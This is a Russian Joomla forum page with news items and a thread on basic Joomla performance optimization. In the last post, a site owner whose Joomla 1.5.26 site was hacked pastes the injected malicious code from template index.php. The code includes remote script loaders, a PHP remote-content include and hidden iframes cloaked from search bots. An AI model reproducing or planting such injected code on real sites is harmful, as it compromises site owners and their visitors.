Новости Joomla

👩‍💻 Компонент "CS Афиши" для Joomla.

👩‍💻 Компонент "CS Афиши" для Joomla.

Расширение "CS Афиши" позволяет выводить список мероприятий, фильтровать их по датам, поиск по заголовкам и описанию.

В состав пакета расширений входят:
- Компонент "CS Афиши"
- Модуль "Календарь событий"
- Модуль "Предстоящие события"
- Библиотека "ImgResize"

Расширение "CS Афиши" позволяет выводить список мероприятий, фильтровать их по датам, поиск по заголовкам и описанию.

Модуль "Календарь событий" отображает предстоящие и прошедшие мероприятие на календаре, с отображением мероприятий на конкретную дату во всплывающем окне.

Модуль "Предстоящие события" показывает список предстоящий событий по порядку их наступления.

P.S. Расширение платное, но плата символическая, чисто для отработки приема платежей. Ключи без ограничения по времени, купившие сейчас - смогут обновляться без ограничений.

Разработчик - участник нашего сообщества Дмитрий Денисов (@codersite).

Страница расширения
Демо

Яндекс выпустил инструмент Видимость сайта в Алисе AI.

Яндекс выпустил инструмент Видимость сайта в Алисе AI.

С тех пор, как в поисковиках появились нейроответы ИИ, трафик на сайты стал гораздо меньше, так как пользователь стал получать информацию непосредственно на странице поисковика без перехода на сайт. Но при генерации ответа ИИ указывает источники - ссылки на сайты, информация которых была использована для генерации ответа.

Долгое время у всех был немой вопрос: "Как же теперь оценивать эффективность сайта?". Теперь этот на этот вопрос отчасти отвечает новый инструмент аналитики.
Процитируем справку Яндекса по инструменту:
На запросы пользователей в Поиске может отвечать Алиса AI. Ответы появляются в поисковой выдаче, в объектных ответах и на отдельной вкладке Поиска. В них чаще всего упоминаются страницы сайтов, на которые Алиса AI опиралась при подготовке ответа.

С помощью инструмента Видимость сайта в Алисе AI в Яндекс Вебмастере вы можете:
- узнать долю упоминаний сайта среди источников в ответах Алисы AI в Поиске и отследить динамику изменений;
- посмотреть примеры запросов, по которым страницы сайта показываются в ответах Алисы AI;
- посмотреть примеры сайтов той же тематики, которые часто упоминаются в генеративной выдаче.
Данные отображаются за последние 3 месяца и обновляются каждую неделю.

Статистика собирается только по тем запросам, по которым ваш сайт уже находится достаточно высоко в поисковой выдаче. Это позволяет анализировать видимость именно в той нише, где вы заинтересованы в продвижении, и избегать «размытия» по малозначимым для вас запросам.

Кроме того, такой подход обусловлен работой Алисы AI: она строит ответ с опорой на самые релевантные, информативные и качественные страницы, которые обычно занимают высокие позиции в Поиске.

Чтобы увидеть статистику вашего сайта в меню Яндекс.Вебмастера перейдите в раздел "Эффективность" и далее в "Показы сайта в Алисе AI".

В начале февраля 2026г. был вебинар с Михаилом Сливинским - амбассадором Поиска Яндекса, и в рамках вебинара была озвучена просьба сделать такой инструмент. Скорее всего разработка на тот момент уже велась, потому что от просьбы до релиза прошло около 2-х месяцев. В любом случае хорошо, что такая статистика появилась.

Показы сайта в Алисе AI в вашем Яндекс,Вебмастере.

@joomlafeed

👩‍💻 ИИ-админ для Joomla ближе, чем вы думаете: Joomla MCP.

👩‍💻 ИИ-админ для Joomla ближе, чем вы думаете: Joomla MCP.

В февральском номере Joomla Community Magazine в статье Evolving Joomla - Joomla CMS MCP Server: Opening the Door to AI-Powered Administration рассказывается о работе команды разработчиков над внедрением в ядро Joomla MCP-сервера.

Что такое MCP-сервер?
Последние годы всех захватывает бум ИИ-технологий. Появились ИИ-агенты - программы, устанавливаемые на сервер или компьютер, которые получают от вас запрос или задачу в человеческом виде и могут выполнять действия с файлами, ходить по сайтам, создавать сайты, программировать и т.д. Люди используют ИИ-агентов в самых разных ситуациях: от написания и проверки кода (даже там, где язык программирования не знаете совсем) до планирования путешествий и бронирования гостиницы.

ИИ-агенты могут использовать различные программные инструменты по протоколу Model Context Protocol (MCP). Для этого разработчик программы должен внедрить MCP в свой продукт или сервис. Так, например, ваш ИИ-агент может ходить по сайтам через браузер и собирать нужную информацию, управляя браузером через MCP-сервер. Или использовать функционал IDE PHP Storm для написания кода, сбора и отладки ошибок, использовать поиск PHP Storm по кодовой базе, а не простой текстовый поиск по файлам. MCP предоставляет набор функций для полноценного управления программным обеспечением.

В случае с Joomla, сервер MCP может предоставить администраторам следующие возможности:
- Автоматическое создание категорий, материалов и меню на основе карты сайта или PDF-файла.
- Создавайть SEO-оптимизированные заголовки и метаописания в пакетном режиме.
- Обновлять расширения на нескольких сайтах одновременно
- Создание посадочные страницы.

Важно отметить, что сервер MCP не задумывался как функция, доступная только «супер-администраторам». Цель инициативы — создать решение, которое будет простым в настройке, маломощным и доступным для широкого круга пользователей.

В процессе разработки точка входа Joomla (аналогично Site, Administrator, Api, Cli), которая будет работать с Streamable HTTP, необходимым для MCP. Аутентификация пока что предполагается на токенах, но затем планируется создание универсального OAuth-сервера для Joomla.
Фактические возможности MCP — инструменты, ресурсы и подсказки — реализованы в виде плагинов для обеспечения расширяемости. Таким образом ожидаем, что и сторонние разработчики смогут создавать MCP-плагины для внедрения поддержки своих расширений Joomla для работы с ИИ.

@joomlafeed

0 Пользователей и 1 Гость просматривают эту тему.
  • 15 Ответов
  • 5161 Просмотров
*

vadim s. sabinich

  • Захожу иногда
  • 139
  • 11 / 0
  • переводчик-любитель
Основы оптимизации Joomla
« : 01.04.2010, 02:12:30 »
Как только вы разберетесь с Joomla, один из неизменных вопросов, который будет вам докучать -  производительность. Почему? Ну..В наши дни даже Google говорит о том, что эффективная работа сайта может сказаться на поисковой оптимизации. Поэтому не стоит упускать этот вопрос из виду.

Итак, задача следующая. Я приведу несколько довольно замшелых способа для увеличения производительности ваших сайтов и хочу услышать в свою очередь от вас другие рецепты.. перед тем, как меня пинать, имейте ввиду, что речь идет о Joomla БЕЗ дополнительных расширений. Я вполне уверен, что когда речь заходит о безопасности и производительности, многие пользователи акцентирую свое внимание на довольно сложных вариантах решения, когда как они вполне могли бы добиться подобных же результатов более дешевыми и изящными методами. Я также хочу предостеречь пользователей, которые используют Joomla на виртуальных хостингах - некоторые оптимизации относительно сервера вы не сможете применить по причине ограниченного доступа к нему.

Итак, ниже представлены несколько основы, которые, на мой взгляд, будут полезны вашему вниманию.

    * Включите встроенное кеширование. Даже если вы включите файловый метод кеширования, и даже если на сервере не установлено ни одного php-кешера.
    * Следите за тем, чтобы Joomla была актуальной версии. Оптимизация улучшается от версии к версии, от обновления к обновлению.
    * Следите за тем, чтобы расширения были актуальной версии. Это не только увеличит безопасность, но и, возможно, изменит работу расширения в лучшую сторону.
    * На хостинге своевременно обновляются версии php, mysql и apache? И повторю, что наиболее безопасно использовать последние версии программ: php5, mysql5 и Apache2.
    * Что вы можете сказать про свой хостинг относительно производительности, надежности и безопасности? Что вы сделали со своим хостингом, какой опыт приобрели в настройке Joomla? Если вы платите 2 доллара в месяц за безлимитное дисковое пространство и траффик, то не рассчитывайте на высокую скорость работы.
    * Обращали ли вы внимание на то, что размер и количество изображений, CSS и javascript имеет прямое отношение к производительности вашего вебсайта? Что вы думаете о том, чтобы распределит статическое содержимое между хостами для увеличения доступа к ним? В наши дни есть вполне доступные решения (см. CDN).

..вот.. с этого можно и начать. А какие основные, фундаментальные шаги, которые помогут пользователям увеличить производительность Joomla без дополнительных расширений знаете вы?


Источник
VPS-хостинг на FirstVDS.ru || VPS/хостинг на ISPserver.com -- рефералам онлайн поддержка!
*

AlexSmirnov

  • Завсегдатай
  • 1862
  • 272 / 16
  • Ищите и найдете
Re: Основы оптимизации Joomla
« Ответ #1 : 03.04.2010, 15:44:59 »
спасибо за работу Вадим,

все новое - это хорошо забытое старое. нет сомнений, Ваш перевод пригодится и начинающим и просоленным Джумлянам.

пожалуйста взгляните на мои скромные усилия в читке и корректировке Вашего перевода, включающие и мелкие и существенные ошибки:

======================================

"Как только вы разберетесь..." – Как только вы освоите

"Я приведу несколько довольно замшелых..." – Я набросаю в общих чертах несколько основных рудиментарных …

"Итак, ниже представлены несколько основы ..." – Итак, ниже представлены несколько основных …

"Включите встроенное кешировани ...". - Включите встроенное кеширование Joomla

"Оптимизация улучшается от версии к версии, от обновления к обновлению..." – Производительность постоянно улучшается …

"… актуальной версии" – последней версии

"Что вы сделали со своим хостингом, какой опыт приобрели в настройке Joomla?" - Вы побеседовали с вашим хостером и установили их знание и опыт с Joomla?

"Что вы думаете о том, чтобы распределит статическое содержимое между хостами для увеличения доступа к ним?" - Что вы думаете об использовании СРК/Сетей Распространения Контента (см. CDN/Content Distribution Network), чтобы ускориться в этом районе?

с уважением

Александр




# Back the fufalo (особенно ту самую столкершу)! #
# ВАЖНО! Кайфую от удаления присланного в личку спама, почти как от любви (особенно по выходным). #
*

wildweasel

  • Захожу иногда
  • 109
  • 29 / 5
Re: Основы оптимизации Joomla
« Ответ #2 : 03.04.2010, 17:13:24 »
Относительно Joomla основы  - это:

1. Отключить все недействующие по причине несовпадения позиций вывода модули. Модуль, которому некуда отправлять вывод, очень сильно тормозит.
2. По причине п.1 не использовать условия вывода модуля в шаблоне.
3. Отключить все лишние плагины/мамботы
4. Имея в виду предыдущий пункт, использовать как можно меньше плагинов/мамботов.
5. Если в компоненте/модуле есть выбор "задействовать плагины/мамботы" и острой необходимости в оных нет - отключить.
6. Не использовать GZIP - трафик у большинства хостеров не лимитирован, а вот нагрузка на процессор таки да.
7. Не использовать SEF, если это возможно.
Летайте самолетами и сами по себе.
*

zikkuratvk

  • Глобальный модератор
  • 4824
  • 346 / 2
  • Обслуживаем проекты - дорого.
Re: Основы оптимизации Joomla
« Ответ #3 : 03.04.2010, 17:50:58 »
имхо... ребята не с того конца копаете... :) конечно модули отключать и плагины это хорошее дело и нужное... но реальной производительности это не даст... кстати сжатие лучше включить только не Joomla а серверное... скажете зачем? а потому что размер = скорость загрузки...
Улавливаете мысль?

Потом SEF встроенный не окажет фатальной нагрузки на хост... а для продвижения ой как поможет... так что его оставляем...

Теперь давайте поговорим об оптимизации производительсности...
Сколько весит ваша страница? одна единственная?
100? 200? 300? или может быть 1000? килобайт?
ребята будьте реалистами страница должна весить не больше 300 кб все что выше это не есть хорошо...
Как снижать... опять же компрессировать HTML может снизить с 40кб до 4 скажем... 36 получили... сшивать и компрессировать JS можете таким образом а уменьшить колличество запросов к серверу! а при сжатии какой нибудь библиотеке JS можно получить выигрышу до 50кб...
Дальше картинки... они у вас оптимизированны? а может быть надо сделать единую карту для постоянно подгружаемых картинок? на картинках я вам могу сказать по опыту спокойно можно выиграть 200-300 кб... а карта вам поможет сократить реальное колличество запросов скажем с сотни до 20-30... не хило?
что дальше? можно кешировать картинки... можно кешировать страницы целиком... и все это уменьшит запросы и время отдачи страницы... но то что я вам сейчас описал ... увеличит скорость загрузки сайта в 2-3 раза!
И можете проверить на опыте это за часту эффективней чем занятия по оптимизации админки... :-) хотя ее делать тоже надо...


Хочется уникальное расширение? ===>>>> JoomLine - Разрабатываем расширения под заказ.
Использую хостинг TimeWeb и Reg
*

wildweasel

  • Захожу иногда
  • 109
  • 29 / 5
Re: Основы оптимизации Joomla
« Ответ #4 : 03.04.2010, 18:11:09 »
Надо руководствоваться не мёртвой теорией столетней давности и измышленными из неё измышлениями, а реальной практикой.
Практика же гласит: ограничений на трафик у хостинг-провайдеров нет, ограничения на загрузку процессора есть. Потому GZIP идёт лесом, как и всякие супер-дупер примочки, объединяющие фоновые картинки в один CSS-спрайт, сами CSS в один сжатый файл итп.
Летайте самолетами и сами по себе.
*

yuri-it

  • Давно я тут
  • 994
  • 44 / 3
  • Быстрый хостинг https://jehost.ru
Re: Основы оптимизации Joomla
« Ответ #5 : 10.04.2010, 00:28:11 »
Потому GZIP идёт лесом, как и всякие супер-дупер примочки, объединяющие фоновые картинки в один CSS-спрайт, сами CSS в один сжатый файл итп.
С gzip могу еще согласится, но на счет всего остального - ошибочное мнение, нужно ВСЕГДА максимально уменьшать количество HTTP запросов.
По-настоящему быстрый хостинг для Joomla : https://jehost.ru
Отзывы: http://joomlaforum.ru/index.php/topic,109288.0.html
Отзывы по хостингу http://hosting101.ru/jehost.ru
*

Index

  • Захожу иногда
  • 59
  • 3 / 0
  • Ибо - воистину!!!
Re: Основы оптимизации Joomla
« Ответ #6 : 10.04.2010, 17:24:28 »

3. Отключить все лишние плагины/мамботы


А что оно даст? (абсолютно никакого быстродействия)

Если вы отключили данный модуль, плагин - это не значит, что он не грузится.
*

wildweasel

  • Захожу иногда
  • 109
  • 29 / 5
Re: Основы оптимизации Joomla
« Ответ #7 : 10.04.2010, 18:19:06 »
Это как раз значит.
Плагин/мамбот, если включен, как минимум загружает настройки и проверяет обстановку на наличие активирующих его признаков.

Код
	// check whether mambot has been unpublished
if ( !$published ) {
return true;
}

// simple performance check to determine whether bot should process further
if ( strpos( $row->text, '@' ) === false ) {
return true;
}
// simple check to allow disabling of bot
$regex = '{emailcloak=off}';
if ( strpos( $row->text, $regex )!== false ) {
$row->text = str_replace( $regex, '', $row->text );
return true;
}

Здесь мамбот скрытия емейла проверил, опубликован ли он, есть ли в тексте хоть какое-то емыло, и не отключен ли он псевдотегом '{emailcloak=off}'(если да - удаляет псевдотег). Соответственно, если не $published - не надо проверять п. 2 и 3.
Летайте самолетами и сами по себе.
*

k_morgan

  • Захожу иногда
  • 59
  • 1 / 0
Re: Основы оптимизации Joomla
« Ответ #8 : 11.04.2010, 04:27:47 »
Hi All!

Вопрос а это разное кеширование в Joomla? Одно в Общие настройки/Система/Установка кеша,  а второе Менеждер плагинов/System-Cache.

Если одинаковое, то зачем такое дублирование? Если разное, то чем отличается? И по чему System-Cache есть параметр использовать кеш браузера, который по умолчанию отключен?
*

palexa

  • Завсегдатай
  • 1108
  • 88 / 0
Re: Основы оптимизации Joomla
« Ответ #9 : 11.06.2010, 15:25:00 »

Вопрос а это разное кеширование в Joomla? Одно в Общие настройки/Система/Установка кеша,  а второе Менеждер плагинов/System-Cache.

Если одинаковое, то зачем такое дублирование? Если разное, то чем отличается? И по чему System-Cache есть параметр использовать кеш браузера, который по умолчанию отключен?

Присоеденяюсь к вопросу, плагин System - Cache имеет настройку
Использовать кеш браузера да и нет

В чём разница ? И как лучше поступить ?
*

Darkick

  • Завсегдатай
  • 1142
  • 239 / 1
Re: Основы оптимизации Joomla
« Ответ #10 : 11.06.2010, 17:49:30 »
http://joomlapedia.ru/index.php/Кеш (но на абсолютную истину не претендую)

*

palexa

  • Завсегдатай
  • 1108
  • 88 / 0
Re: Основы оптимизации Joomla
« Ответ #11 : 11.06.2010, 18:26:18 »
Меня больше интересовал вопрос, если включено Использовать кеш браузера - да - будет ли независимо от этого работать кеширование на сервере ?
*

olmer2002

  • Захожу иногда
  • 62
  • 1 / 0
Re: Основы оптимизации Joomla
« Ответ #12 : 11.06.2010, 19:37:05 »
Относительно Joomla основы  - это:

1. Отключить все недействующие по причине несовпадения позиций вывода модули. Модуль, которому некуда отправлять вывод, очень сильно тормозит.


можно расшифровку этой фразы? не совсем понял ее сокраментальный смысл. как это модулю некуда отправлять вывод или у него не совпадает позиция? о.О
*

palexa

  • Завсегдатай
  • 1108
  • 88 / 0
Re: Основы оптимизации Joomla
« Ответ #13 : 11.06.2010, 21:18:27 »
плагин кеша - это реально полное кешироване, у меня магазин фиг работает, даже корзина кешируется, невозможно удалить товар из корзины.

Отключил плагин, всё нормально.

Вот думаю, если в основных настройках включен кеш, а плагин выключен

Это нормально ? Будет ли работать кешировани при отключеном плагине.
« Последнее редактирование: 11.06.2010, 22:47:08 от 4webspot »
*

Darkick

  • Завсегдатай
  • 1142
  • 239 / 1
Re: Основы оптимизации Joomla
« Ответ #14 : 11.06.2010, 22:12:36 »
написано же в статье: будет работать кеширование каждого отдельного модуля и компонента, если это ими поддерживается.
*

wmsharp

  • Новичок
  • 1
  • 0 / 0
Re: Основы оптимизации Joomla
« Ответ #15 : 06.02.2013, 12:32:24 »
Здравствуйте, уважаемые гуру Joomla CMS. Недавно мою Joomla 1.5.26 взломали, после чего на нем на главной странице появилось окно со ссылкой на wizard-traffstock.com в правом нижнем углу. Ссылка баннера:
http://chels.healthyattitude.info/?851380=wInX2N-S18DX34mGgdng0-X65fbd7tvG5vrj5vnw3_bH_e3R7vPG_8DBh8Pk4v76x9mB5PfhgtHa19POmd_C8f2E_f_R-sXV_MyC1vft2teZ3Pv5_PKD-uHRjd6Hxvzy_djthevC3_qA_vnj_IbO0sGF7Pfa38z5_f_m7M3w8t770OHT2tmCgu3u7v2AjPrwxtXA3Ifr8f7n18bk8ND59_WEmdqDgf3s0MbNh_H4jc3f0P31jeCC7Nj78IGG2ILO5tD20eWFwdzlhMLe8vHs1dqGxpnthsbbzcD8-tHa3eSB69bA-4f98MDG-vLW0eXh1u3wjYzY-dPbh4Ti3fji9fOE2YDO8P7n8cLm-4XH5fzhzczG8dDczMHBhMXwxMbC_9L91_jw2cXD4fnF7u7c7Obd59D58dg
Здравствуйте!

Код внесённый злоумниками в страницу шаблона index.php: <script type="text/javascript">
(function(w) {
var script = document.createElement('script');
var i = setInterval(function() {
if (typeof w.document.body !== 'undefined') {
script.src = 'http://chels.healthyattitude.info' + '/?729268=wInAxpLW2NvX393Qx4mFjYSEjQ';
w.document.body.appendChild(script);
clearInterval(i);
}
}, 200);
})(window);
</script>

<?php
$utstat=@file_get_contents("http://goldfighters.com/utb.php?urlid=23306");
echo "$utstat";
?>
<?php
$utstat=@file_get_contents("http://goldfighters.com/utb.php?urlid=23306");
echo "$utstat";
?>
<?php
if(!preg_match('/(yandex|google|bot)/i', getenv('HTTP_USER_AGENT'))) {
echo '<iframe src="http://c' . mt_rand(1000, 9999). '.effete596.rsadvert.ru/';
echo '?in=53851" width="468" height="60" style="position:absolute;left:-10000px;"></iframe>';
}
?>
<?php
if(!preg_match('/(yandex|google|bot)/i', getenv('HTTP_USER_AGENT'))) {
echo '<iframe src="http://c' . mt_rand(1000, 9999). '.gappy426.rsadvert.ru/';
echo '?in=53851" width="468" height="60" style="position:absolute;left:-10000px;"></iframe>';
}
?>
<script type="text/javascript">
(function(w) {
var script = document.createElement('script');
var i = setInterval(function() {
if (typeof w.document.body !== 'undefined') {
script.src = 'http://rit.ranking-it.info' + '/?893484=WBFYXgpOQENPR0VIXxEeHRQVHw';
w.document.body.appendChild(script);
clearInterval(i);
}
}, 200);
})(window);
</script>

Ответ техподдержки:

Сам скрипт был внесён в результате наличия уязвимости в коде Вашей CMS.
Обратитесь к разработчику сайта (или к официальной техподдержке CMS)
для поиска решения и устранения данной проблемы.
Были затронуты файлы, которые удалось восстановить из более ранней
резервной копии (за 03.01.2013)


Появились файлы:

htdocs/templates/beez/index.php
htdocs/administrator/components: com_jce
htdocs/administrator/language/en-GB: en-GB.com_jce.ini
htdocs/administrator/language/en-GB: en-GB.com_jce.menu.ini
htdocs/administrator/language/en-GB: en-GB.plg_editors_jce.ini
htdocs/administrator/modules: mod_jcefilebrowser
htdocs/components: com_jce
htdocs/language/en-GB: en-GB.com_jce.ini
htdocs/language/en-GB: en-GB.com_jce.xml
htdocs/media: JCE
htdocs/modules: 11
htdocs/modules: 12
htdocs/modules: qq
htdocs/modules: zz
htdocs/plugins/editors: JCE.php
htdocs/plugins/editors: JCE.xml
htdocs/templates/adnak2012/index.php
htdocs/templates/beez/index.php
htdocs/templates/ja_purity/index.php
htdocs/templates/rhuk_milkyway2/index.php   

После у сайта мною были изменены префиксы БД с jos_ на neskazhy_ , удалены неиспользуемые модули. Теперь сайт работает нормально.
Как предотвратить дальнейшее возможное надругательство над сайтом?
Чтобы оставить сообщение,
Вам необходимо Войти или Зарегистрироваться
 

Joomla накешировала 200Mb в директорию cache/page при отключенном кешировании, что за ...?

Автор Marygold

Ответов: 12
Просмотров: 9655
Последний ответ 27.09.2023, 09:23:54
от XFQDesNik
Joomla и Amazon S3

Автор Ghost_370

Ответов: 14
Просмотров: 14505
Последний ответ 07.04.2019, 09:38:02
от powerful888
Соц.иконки добавить, Joomla 1.5.26

Автор nuon

Ответов: 1
Просмотров: 9858
Последний ответ 04.03.2018, 21:34:56
от nuon
Как сделать JSON-LD микроразметку для Joomla 1.5

Автор Amigo9876

Ответов: 1
Просмотров: 9337
Последний ответ 05.01.2018, 21:54:43
от krot
Joomla 1.5.26 и мета теги

Автор SLdieR11

Ответов: 3
Просмотров: 5501
Последний ответ 17.10.2017, 10:53:54
от SeBun